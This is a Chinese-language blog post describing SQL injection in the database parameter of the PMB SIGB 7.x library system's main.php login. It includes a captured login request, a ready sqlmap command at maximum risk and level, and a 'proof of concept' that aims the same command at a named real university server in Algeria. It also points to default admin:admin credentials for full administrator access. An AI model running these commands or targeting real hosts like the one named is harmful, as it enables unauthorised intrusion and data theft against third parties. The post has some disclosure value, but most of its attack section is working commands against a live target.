PMB SIGB 7.x SQL注入漏洞深度解析

本文详细披露了PMB SIGB图书馆管理系统7.x版本中存在的SQL注入漏洞。该漏洞位于main.php登录端点,攻击者可利用未经验证的database参数进行数据库枚举、数据窃取及潜在的认证绕过,影响版本为7.5.8及以下。

漏洞概述

PMB SIGB的main.php登录端点中的database参数存在SQL注入漏洞。应用程序在认证过程中,未能对用户输入的database参数进行有效净化,便直接将其拼接到SQL查询语句中。

漏洞请求示例(通过Burp Suite捕获)

1
2
3
4
5
6
POST /main.php HTTP/2
Host: target.com
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

ret_url=&database=ehec_db&user=admin&password=admin

响应(302 成功 - 未返回登录错误login_error=1):

1
2
HTTP/2 302 Found
Location: index.php

漏洞利用命令

1
sqlmap -u "https://target.com/main.php" --data="ret_url=&database=ehec_db&user=admin&password=admin" -p database --batch --dbs --risk=3 --level=5

概念验证(针对阿尔及利亚某大学真实目标)

1
sqlmap -u "https://pmb.univ-guelma.dz/main.php" --data="ret_url=&database=ehec_db&user=admin&password=admin" -p database --batch --dbs --risk=3 --level=5

技术细节

漏洞源于database参数未经净化直接拼接到SQL查询语句中,其原始查询逻辑大致如下:

1
SELECT * FROM users WHERE database='$database' AND user='$user' AND password='$password'

影响范围

  • 数据库枚举(--dbs
  • 数据表与列信息提取
  • 数据窃取(用户信息、密码、图书馆记录等)
  • 潜在的认证绕过
  • 结合默认凭据admin:admin可获取完整管理员权限

修复建议

  • 升级至 PMB 8.0.1.2 或更高版本。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计